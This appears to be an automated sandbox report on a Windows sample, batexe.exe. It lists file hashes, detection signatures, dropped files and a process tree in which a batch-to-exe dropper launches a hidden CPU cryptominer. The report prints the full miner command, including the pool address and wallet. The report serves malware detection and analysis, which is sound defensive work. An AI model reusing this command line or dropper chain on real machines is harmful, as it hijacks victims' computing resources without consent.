73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 13:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2200	b2e.exe
4316	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4316	cpuminer-sse2.exe
4316	cpuminer-sse2.exe
4316	cpuminer-sse2.exe
4316	cpuminer-sse2.exe
4316	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2044-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 2200	2044	batexe.exe	73
PID 2044 wrote to memory of 2200	2044	batexe.exe	73
PID 2044 wrote to memory of 2200	2044	batexe.exe	73
PID 2200 wrote to memory of 4156	2200	b2e.exe	74
PID 2200 wrote to memory of 4156	2200	b2e.exe	74
PID 2200 wrote to memory of 4156	2200	b2e.exe	74
PID 4156 wrote to memory of 4316	4156	cmd.exe	77
PID 4156 wrote to memory of 4316	4156	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Users\Admin\AppData\Local\Temp\ABFF.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\ABFF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\ABFF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AF7A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\ABFF.tmp\b2e.exe

Filesize
755KB

MD5
e74e6ca49e7c79cd0afa3c23ad850c64

SHA1
3f9b861e412470e98bd36221aea621a1d61f42cd

SHA256
84d913699e7f0cf65d2ed364212b4c0492811b5f3f58df43463d83889710e521

SHA512
e88d6bf46e882f05d76ed2346144ea4c1e36f147738b7fe17bdc187981c0e6fb0c18cc3231fb67679a36786c6f72c591b05b5961bc29312b956d7f5424eabbca

Download Submit
C:\Users\Admin\AppData\Local\Temp\ABFF.tmp\b2e.exe

Filesize
10.8MB

MD5
4a678a36781b4115dd03d60b6a7fbbf9

SHA1
81ab000c6aebd731f9d79b63bcec94632978c190

SHA256
eb9d033b971ec068b9f173a9c398bf74759c423ede10be10e31f5d8f4a39d0b6

SHA512
2d9aaec4a0690aee4130358d986c49cfeda01f8ae48a18687b422dd4d8e6f4e7ca9a812e503b6b258312adf177fff4f27d8d75e9c698cefbe4110d628ad660a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\AF7A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
9966f150fbdc758f315f89254d8d7a13

SHA1
feecfc66f79a21fd1e6ab3c17dbf0e9a989b6f6f

SHA256
b0571d4dcb38ba4e96d1915a2b00f36f8a87423273d02c8d32f871cb2df58f50

SHA512
6367317191ec559a4467aaede96789b859ae9bbf1938a37bbcd6e8f3a03a1d96f8687b1189d24a97cbdb34e9c1adb9b0ebf2a89c9bbd24b98dcc53052aaf142b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
14d44de2a376b1198061fc01858e2b2d

SHA1
8a1b58e76c5e430eb5ff096dbf2a38f26dca3374

SHA256
8f5659ad955880f7cab780654c4de0e32e7891d156f9c13162c7eca5a930da70

SHA512
bd606f91db78afeee442dca17ee6d96d49af8498d746e622e882ce5350dbe170d089fe9c3e3d58ac533e05a49c97a685087395e74d28499aaf28deef66c3486c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
bd70a3cab70c277ccdcccd474cf2d745

SHA1
a45abbd5114322f1ccad94222d60c5c887219396

SHA256
76cd32be3e16eae9c1cafede92b0a56eae76347a9b3c610b5c3d94b945c504a0

SHA512
b4d4a5b9ec2052d16d21772a8c78eb85fdd77840dcca3e565b1d3bcf43c47e3cacc6dd4fe8b4c1f8a5f901163789fd92392eed13e85cbc499c6788b4a8f094c2

Download Submit
memory/2044-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2200-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2200-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4316-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4316-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4316-44-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/4316-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-42-0x0000000063360000-0x00000000633F8000-memory.dmp

Filesize
608KB

Download
memory/4316-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4316-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download